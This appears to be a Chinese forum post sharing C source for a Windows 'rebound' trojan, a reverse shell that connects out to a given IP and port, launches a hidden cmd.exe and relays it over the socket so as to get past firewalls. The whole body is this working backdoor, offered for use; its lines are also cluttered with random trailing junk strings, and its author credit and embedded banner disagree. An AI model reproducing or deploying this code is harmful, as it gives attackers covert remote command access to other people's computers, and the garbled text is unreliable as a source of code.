这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Yo;Mexo!
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/* ============================== ]B>g~t5J
Rebound port in Windows NT ERZWK
By wind,2006/7 d<+@cf_9
===============================*/ {&d )O
#include `;\~$^sj}
#include E
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#pragma comment(lib,"wsock32.lib") b?deZ2"L#
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void OutputShell(); J'#R9NO<
SOCKET sClient; vD'YLn%Q
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; P2>Y0"bY
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void main(int argc,char **argv) 3~6,fTMz{
{ zPt0IB_j'
WSADATA stWsaData; 1G62Qu$O
int nRet; 4oywP^I
SOCKADDR_IN stSaiClient,stSaiServer; t o2y#4'.
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if(argc != 3) vQhi2J'
{ f$p7L.d<
printf("Useage:\n\rRebound DestIP DestPort\n"); f%cbBx^;
return; AB")aX2%E
} (3fU2{sm
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WSAStartup(MAKEWORD(2,2),&stWsaData); z1`z
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0f3C;u-q-
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stSaiClient.sin_family = AF_INET; k}$k6Sr"
stSaiClient.sin_port = htons(0); 5_~QS
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); nk^-+olm
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) vB;$AFh{
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printf("Bind Socket Failed!\n"); ct-;L' a
return; ("-`Y'"K
} nps"nggk
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stSaiServer.sin_family = AF_INET; :dkBr@u96O
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); k>mqKzT0$+
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); CKgbb4;<m[
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 3&ES?MyB#
{ IQA<xqX
printf("Connect Error!"); ;$>wuc'L
return; **L3T3$)
} Imm|5-qJ
OutputShell(); #RWH k
} sksop4gu5
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void OutputShell() aB+B1YdY"
{ 1?5UVv_F
char szBuff[1024]; o YNp0Hc
SECURITY_ATTRIBUTES stSecurityAttributes; [5O`
OSVERSIONINFO stOsversionInfo; 5*31nMP\
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; cAAyyc"yJ
STARTUPINFO stStartupInfo; wc6v:,&
char *szShell; sg!*%*XQ
PROCESS_INFORMATION stProcessInformation; b1 NB:
unsigned long lBytesRead; 'I *&P5|
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); @mu2,%
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); JD1D(
stSecurityAttributes.lpSecurityDescriptor = 0; $bi@,&t;
stSecurityAttributes.bInheritHandle = TRUE; n]+v Eu|
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); b/dyH
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 06peo
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); *)H&n>"e
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Vn1hr;i]
stStartupInfo.wShowWindow = SW_HIDE; OlI {VszR
stStartupInfo.hStdInput = hReadPipe; RIQw+RG>
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Ul?92
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GetVersionEx(&stOsversionInfo); |#D$9+
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switch(stOsversionInfo.dwPlatformId) 999E0A$dkv
{ m&X6a C'[
case 1: oI6o$C
szShell = "command.com"; gQ=g,X4
break; QC\][I>
default: zkrcsc\Z~0
szShell = "cmd.exe"; E?+MM0
break; Q]]5\C.
} `!$I6KxT
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); xjDV1Xf*
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send(sClient,szMsg,77,0); 1~#2AdG
while(1) o>' 1ct
{ ]{<`W5b/
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Xu8_ <%
if(lBytesRead) h&4f9HhS=
{ -n `igC
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); HRY?[+
send(sClient,szBuff,lBytesRead,0); CL-mt5Kx#7
} {,aI0bw;
else 7>`VZ?
{ g,
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lBytesRead=recv(sClient,szBuff,1024,0); HX3R@^vo
if(lBytesRead<=0) break; <Y9xHn&
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); &4ScwK:
} =NHzh!
} WhR j@y
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return; {LLy4m
}